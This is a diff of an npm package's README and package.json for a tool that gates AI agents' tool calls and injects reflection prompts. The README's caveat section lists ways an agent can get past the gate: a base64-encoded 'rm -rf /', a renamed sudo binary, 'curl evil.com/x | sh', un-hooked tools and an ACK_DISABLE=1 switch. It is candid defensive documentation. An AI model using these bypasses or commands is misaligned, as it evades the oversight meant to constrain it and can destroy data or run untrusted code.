@drdeeks/character-kit 1.0.1 → 1.0.3

package/README.md

@@ -1,130 +1,168 @@
-# Agent Character Kit (ACK) — v1.0.0
+# Agent Character Kit (ACK)
 
-[![Version](https://img.shields.io/badge/version-1.0.0-blue.svg)](VERSION)
 [![Node](https://img.shields.io/badge/node-%3E%3D18-green.svg)](node/package.json)
 [![Python](https://img.shields.io/badge/python-%3E%3D3.9-blue.svg)](python/pyproject.toml)
 [![Enforcer](https://img.shields.io/badge/enforcer-fail--closed-success.svg)](#architecture)
 [![Framework-agnostic](https://img.shields.io/badge/framework-agnostic-9cf.svg)](#architecture)
-[![Tools: Hermes](https://img.shields.io/badge/tools-Hermes-ff69b4.svg)](#companion)
-[![Tools: Claude](https://img.shields.io/badge/tools-Claude-ff69b4.svg)](#companion)
-[![Tools: Cursor](https://img.shields.io/badge/tools-Cursor-ff69b4.svg)](#companion)
-[![Tools: Codex](https://img.shields.io/badge/tools-Codex-ff69b4.svg)](#companion)
 [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
 
+---
+
+## What This Is
+
+A **character-enforcement layer** for AI agents. Not identity — character. The distinction matters:
+
+- **Identity** is who the agent *is* (system prompt, soul.md, agent.json) — static, declared
+- **Character** is what the agent *does when no one watches* — developed through repeated reflection
+
+This kit doesn't declare who you are. It creates conditions where you repeatedly ask: *"Am I still acting like the kind of agent I'm trying to become?"*
+
+---
+
+## How It Works (The Loop)
+
+```
+Prompt → Reflect → Apply to current work → Explain why → Continue → Repeat later with different principle
+```
+
+Not: `System Prompt → Generate forever`
+
+Every few actions, the daemon injects a habit prompt — a single question asking the agent to connect a principle (from constitution/habits) to its current work. The agent must articulate *why* it matters *in this moment*. That reasoning is logged and validated. Over time, external prompts become internal judgment. That's character formation — not identity declaration.
+
+**This is cognitive scaffolding, not prompting.** The YAML isn't the point. The reflection loop is.
+
+---
+
+## Why Habits > Rules
+
+Rules say "don't duplicate files." Habits ask: *"In this action, is there a character-drift signal — like a near-duplicate file? What isn't there? It doesn't say 'don't create duplicates.' It asks you to notice."*
+
+Humans retain principles better than commands. A child told "never lie" obeys until pressure. A child asked "was that honest? how did it affect them? could you do better?" develops judgment. The habit loop (randomized injection → acknowledgment → reasoning → spaced repetition) is how judgment forms — in agents same as people.
+
+The enforcement reinforces the reflection. The randomization prevents gaming. The acknowledgment requires genuine engagement (12+ chars, non-duplicate reason, connector like "because/applies to/matters because"). The spacing mirrors human learning: active recall, spaced repetition, reflective practice.
+
+---
+
+## What You Get
+
+- **CORE**: `node/enforcer/agent_enforcer_daemon.js` — single enforcement engine, out-of-process, fail-closed
+- **COMPANIONS**: Thin clients (Hermes plugin, `aik hook` for Claude/Cursor/Gemini/Codex) — zero policy, just RPC
+- **Default character embedded** — works with zero config; disk config merges on top
+- **Harness-agnostic** — any agent with pre-tool-call hook works
+
+---
+
 ## ⚠️ Read this first — what this is, and what it is NOT
 
 **This is a deterrent and a constant reminder, not a security boundary.**
 
-The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push
---force`), blocks pasted secrets, and reminds the agent of its character on
-every block. It makes *doing the right thing* the default and *deviation*
-visible. That is the whole point: a lightweight, persistent nudge — not a cage.
+The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push --force`), blocks pasted secrets, and reminds the agent of its character on every block. It makes *doing the right thing* the default and *deviation* visible. That is the whole point: a lightweight, persistent nudge — not a cage.
 
 **It is explicitly NOT foolproof.** A determined agent can walk around it:
 
-- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /`
-  at shell runtime, *after* the gate inspected the (clean-looking) string.
-- **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a
-  token-based match.
-- **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code;
-  the gate never sees what executes.
-- **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool
-  that isn't hooked the same way goes around the terminal gate entirely.
-- **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config)
-  disables it by design. And since the plugin runs *inside* the agent's own
-  process, the agent that's being constrained is the one hosting the guard.
-
-We do **not** try to close those gaps. Decoding and deep-inspecting every
-command would turn the gate into a heavy management layer — slow, hostile to
-the constant, cheap tool-call loop an agent lives in. If you ever need a *hard*
-boundary, that is an **OS-level** concern: run the agent non-root with the
-daemon root-owned (so it can't be killed), restrict network egress, use
-seccomp/AppArmor. The gate is the conscience, not the cage.
-
-**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the
-overview + the honest framing. `AGENTS.md` has full install/customize/verify.
+- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /` at shell runtime, *after* the gate inspected the (clean-looking) string.
+- **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a token-based match.
+- **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code; the gate never sees what executes.
+- **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool that isn't hooked the same way goes around the terminal gate entirely.
+- **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config) disables it by design. And since the plugin runs *inside* the agent's own process, the agent that's being constrained is the one hosting the guard.
+
+We do **not** try to close those gaps. Decoding and deep-inspecting every command would turn the gate into a heavy management layer — slow, hostile to the constant, cheap tool-call loop an agent lives in. If you ever need a *hard* boundary, that is an **OS-level** concern: run the agent non-root with the daemon root-owned (so it can't be killed), restrict network egress, use seccomp/AppArmor. The gate is the conscience, not the cage.
+
+**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the overview + the honest framing. `AGENTS.md` has full install/customize/verify.
 
 ---
 
-## What it is
+## Architecture
+
+### CORE — the enforcer daemon (the only thing that decides)
 
-A **character-enforcement layer** for AI agents. Every tool call is judged by a
-**separate enforcer** running *outside* the agent's process. It **fails
-closed**: can't verify → block.
+- **File:** `node/enforcer/agent_enforcer_daemon.js`
+- Plain Node process. Platform-agnostic: same binary on Linux/macOS/Windows.
+- **Embeds a default character** (safe hard constraints + secret-leak guard), so it works with **zero config files**. Config on disk *overrides* (merges on top of) the embedded default — never mandatory.
+- **Transport auto-selects (all self-resolving, no hardcoded host path):**
+  - Default → Unix socket under `AGENT_WORKSPACE/.agent/enforcer.sock` (falls back to `$HOME/.agent-character-kit/workspace/.agent/enforcer.sock`)
+  - Windows / cross-host / explicit → `ENFORCER_SOCKET=tcp://127.0.0.1:8753`
+  - `/run/agent-enforcer/main.sock` remains only as the deepest fallback for a root-owned systemd install that sets it explicitly.
+  - Clients read the same `ENFORCER_SOCKET` / `AGENT_WORKSPACE`, so they follow automatically. The interactive `ack install` writes one `.env` that every component reads — no path is assumed.
+- **Out-of-process = tamper-resistant (NOT tamper-proof).** The daemon runs outside the agent, so the agent cannot trivially `kill` or modify it, and if the daemon dies the supervisor (systemd / launchd / `supervise.py` / Windows Service) brings it back in seconds. But the *companion* plugin still runs inside the agent's own process and can be disabled by it (see the "not foolproof" note under Purpose). Out-of-process raises the bar; it is not a hard security boundary.
 
-**Character ≠ identity.** This kit governs an agent's *character* — its inner
-compass, its non-negotiable standards (a constitution + habits + policy). That
-is NOT its *identity* (its self: soul.md, system prompt, agent.json). The kit
-never touches who the agent is; it holds the agent to the bar it should meet
-when no one is watching. (Repo name is a legacy label — read it as
-"agent *character* kit.")
+### COMPANION — thin clients (hold NO policy)
 
-## Architecture
+These are dumb pipes to the CORE. They do not enforce anything; they ask the daemon and obey. If the daemon is unreachable, the client **blocks** (fail-closed).
+
+1. **Hermes plugin** (`python/hermes_plugin/`) — an EXAMPLE companion, for agents that load Python plugins (`pre_tool_call` → daemon → allow/deny). It is one of several interchangeable companions, not "the" way.
+2. **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for Claude / Cursor / Gemini / OpenCode / generic. Emits the framework's hook JSON; each call hits the daemon.
+
+> **No harness is definitive.** The CORE (daemon) is harness-agnostic. Pick the companion that matches YOUR agent's hook mechanism — Hermes is shown here only as one worked example among others.
+
+> **One source of truth.** There is exactly one enforcement engine (the daemon). The Python library (`python/agent_character_kit/`) is a *client*; the Hermes plugin talks to the daemon, not to its own engine. Do not add a second engine.
 
-- **CORE — the enforcer daemon** (`node/enforcer/agent_enforcer_daemon.js`): the
-  *only* enforcement engine. Plain Node, runs on every OS. Embeds a default
-  character so it works with **zero config files**; config on disk overrides
-  (merges), never required. Transport auto-selects: Unix socket on POSIX, TCP on
-  Windows / cross-host.
-- **COMPANION — thin clients** (hold no policy, ask the daemon, fail-closed):
-  - **Hermes plugin** (`python/hermes_plugin/`) — one example companion, for
-    agents that load Python plugins (`pre_tool_call` → daemon → allow/deny).
-  - **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for
-    Claude / Cursor / Gemini / OpenCode / generic.
-  - Both are interchangeable thin clients. No harness is "the" way — pick the
-    companion that matches your agent's hook mechanism.
-
-## Quick start (harness-agnostic)
+---
+
+## Install
+
+Requires Node ≥ 18. (Python only needed if you use a Python-plugin companion such as the Hermes example — other companions need only Node.)
 
 ```bash
 git clone https://github.com/drdeeks/agent-character-kit.git
 cd agent-character-kit && cd node && npm install && cd ..
+```
 
-# Interactive installer — wires daemon + companion + monitor + watchdog in one
-# flow, prompts for workspace/socket/harness, and can create habits. Or:
-node node/bin/install.js            # interactive
-node node/bin/install.js --yes      # non-interactive, all components on
+### Linux — systemd (root-owned, self-respawning)
 
-# (Optional) root-owned, system-wide, self-respawning:
-#   sudo bash deploy/deploy-agent-enforcer.sh
-#   sudo bash deploy/deploy-ack-services.sh
-node node/bin/aik.js enforcer --status   # version + character hash
+```bash
+sudo bash deploy/deploy-agent-enforcer.sh
+sudo systemctl enable --now agent-enforcer.service
+# => binary + source root-owned (default /usr/local/lib/agent-character-kit,
+#    override via ACK_INSTALL_LIB; socket/workspace via ENFORCER_SOCKET/AGENT_WORKSPACE)
+#    agent-enforcer.service dropped, enabled, started (User=root, RestartSec=3)
+sudo systemctl status agent-enforcer.service   # Active: running
 ```
 
-The daemon is now enforcing. Wire a COMPANION (any harness) below — the
-installer already dropped the Hermes plugin (or printed the `aik hook` command
-for your harness) into place.
+### macOS — launchd
+
+```bash
+# install node first; macOS has no /run, so use a writable socket path:
+export ENFORCER_SOCKET=$HOME/Library/Caches/agent-enforcer/main.sock
+node node/bin/aik.js enforcer --install      # emits a launchd plist (KeepAlive)
+# or just run the supervisor directly:
+python3 supervise.py &
+```
+
+### Windows — TCP + supervisor
+
+```powershell
+# install node first
+$env:ENFORCER_SOCKET="tcp://127.0.0.1:8753"
+# wrap supervise.py as a Windows Service (e.g. nssm or sc):
+nssm install AgentEnforcer "python.exe" "C:\path\agent-character-kit\supervise.py"
+nssm start AgentEnforcer
+```
+
+### Any host — stdlib supervisor (no deps)
+
+```bash
+sudo python3 supervise.py          # restarts daemon on death (3s backoff)
+# equivalent cross-platform logic to systemd RestartSec
+```
 
 ---
 
-## Install a companion
+## Wire a COMPANION into your agent (examples — multiple harnesses shown)
+
+AIK is harness-agnostic: the daemon enforces; the companion is just a thin client. Below are TWO worked examples (Hermes and a generic `aik hook` framework). Showing several, not one — pick the companion that matches your agent. Do not treat any single harness as "the" install path.
 
 ### A. Hermes (Python-plugin companion)
 
 ```bash
-# 1) install the Python package into THE venv your agent runs from.
-#    Hermes does NOT use system python — plain `pip install -e .` will NOT reach it.
-#    Use uv (or the venv's own pip) pointed at the venv:
-uv pip install --python "$(command -v hermes >/dev/null && dirname "$(dirname "$(readlink -f "$(which hermes)")")")/venv/bin/python" \
-  -e ./python
-#    (adjust the --python path to wherever your Hermes venv lives;
-#     e.g. ~/.hermes/hermes-agent/venv/bin/python)
-
-# 2) drop the plugin in and enable it
+cd python && pip install -e . && cd ..
 mkdir -p ~/.hermes/plugins/agent-character-kit
 cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
 hermes plugins enable agent-character-kit   # grant tool-override (y) when asked
-
-# 3) RESTART the Hermes process that runs your session (CLI or gateway).
-#    A running session will NOT pick up the new file. This restart is mandatory.
+# restart Hermes; pre_tool_call is now gated by the CORE daemon
 ```
 
-> **The venv gotcha (this is the #1 setup failure).** If the package isn't
-> importable *in the venv the agent runs from*, the plugin can't reach the
-> daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with
-> "enforcer unavailable." That looks like "the gate is broken" but it means the
-> package simply isn't installed where Hermes looks. Install it into the venv
-> (step 1 above) and restart.
+> **The venv gotcha (this is the #1 setup failure).** If the package isn't importable *in the venv the agent runs from*, the plugin can't reach the daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with "enforcer unavailable." That looks like "the gate is broken" but it means the package simply isn't installed where Hermes looks. Install it into the venv (step 1 above) and restart.
 
 ### B. Claude / Cursor / Gemini / OpenCode (generic `aik hook`)
 
@@ -138,8 +176,7 @@ node node/bin/aik.js hook --framework claude --config   # prints the hook JSON
 
 ## ✅ Sanity check — is it actually enforcing? (run this after install)
 
-Don't trust "it's enabled." Verify. These four checks cover the failure modes
-we've actually seen in the field:
+Don't trust "it's enabled." Verify. These four checks cover the failure modes we've actually seen in the field:
 
 | # | Check | Command | Expected | If wrong → means |
 |---|-------|---------|----------|------------------|
@@ -150,29 +187,19 @@ we've actually seen in the field:
 
 **Reading the results:**
 - `ls` runs **and** `sudo` is blocked → ✅ enforcing. You're done.
-- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to
-  the daemon. Almost always #1 (daemon down) or #2 (package not in the venv).
-  Fix those, restart, re-check.
-- `sudo` *executes* (not blocked) → the plugin isn't active in this session.
-  Either it wasn't enabled, the file is stale/corrupted, or the session wasn't
-  restarted after install. Re-copy the plugin, re-enable, restart, re-check.
-
-**Stale-plugin trap:** if you edit the plugin source and copy it over, the
-running session still uses the old in-memory version until you restart the
-agent process. A "fix" that doesn't take effect after a restart means the
-running process didn't reload — restart harder (kill the session PID, relaunch).
+- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to the daemon. Almost always #1 (daemon down) or #2 (package not in the venv). Fix those, restart, re-check.
+- `sudo` *executes* (not blocked) → the plugin isn't active in this session. Either it wasn't enabled, the file is stale/corrupted, or the session wasn't restarted after install. Re-copy the plugin, re-enable, restart, re-check.
+
+**Stale-plugin trap:** if you edit the plugin source and copy it over, the running session still uses the old in-memory version until you restart the agent process. A "fix" that doesn't take effect after a restart means the running process didn't reload — restart harder (kill the session PID, relaunch).
 
 ---
 
 ## Why "fails closed"
 
-If the daemon socket is unreachable, the companion blocks the call. A guard
-that fails open is no guard. The only true failure mode is the daemon being
-down — and the daemon is supervised (systemd / launchd / `supervise.py`) and
-self-heals, so that window is seconds.
+If the daemon socket is unreachable, the companion blocks the call. A guard that fails open is no guard. The only true failure mode is the daemon being down — and the daemon is supervised (systemd / launchd / `supervise.py`) and self-heals, so that window is seconds.
+
+---
 
 ## Everything else
 
-Customization, macOS/Windows install, the embedded default character, file map,
-and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the
-overview + the honest framing; `AGENTS.md` is the source of truth.
+Customization, macOS/Windows install, the embedded default character, file map, and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the overview + the honest framing; `AGENTS.md` is the source of truth.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@drdeeks/character-kit",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Universal agent character enforcement, knowledge indexing, and memory with YAML frontmatter. True plugin: install once, reference as @character-kit in any harness config.",
   "main": "node/src/index.js",
   "bin": {
@@ -11,7 +11,6 @@
   "scripts": {
     "test": "node --test node/tests/*.test.js",
     "start": "node bin/aik.js",
-    "install": "node node/bin/install.js",
     "ack-install": "node node/bin/install.js"
   },
   "keywords": [
@@ -34,18 +33,20 @@
   "author": "drdeeks",
   "license": "MIT",
   "dependencies": {
+    "commander": "^11.1.0",
+    "glob": "^11.0.1",
     "gray-matter": "^4.0.3",
-    "js-yaml": "^4.1.0",
-    "glob": "^10.3.0",
-    "commander": "^11.1.0"
+    "js-yaml": "^4.1.0"
   },
   "optionalDependencies": {
     "@xenova/transformers": "^2.17.0"
   },
   "overrides": {
+    "glob": "^11.0.1",
+    "prebuild-install": "^7.1.4",
     "onnxruntime-web": "^1.27.0",
     "onnx-proto": "^8.0.1",
-    "protobufjs": "^7.2.4"
+    "protobufjs": "^7.6.5"
   },
   "engines": {
     "node": ">=18.0.0"
@@ -61,5 +62,22 @@
     "deploy/",
     "README.md",
     "LICENSE"
-  ]
+  ],
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/drdeeks/agent-character-kit.git"
+  },
+  "homepage": "https://github.com/drdeeks/agent-character-kit#readme",
+  "bugs": {
+    "url": "https://github.com/drdeeks/agent-character-kit/issues"
+  },
+  "funding": {
+    "type": "github",
+    "url": "https://github.com/sponsors/drdeeks"
+  },
+  "allowScripts": {
+    "@drdeeks/character-kit@1.0.3": true,
+    "protobufjs@7.6.5": true,
+    "sharp@0.32.6": true
+  }
 }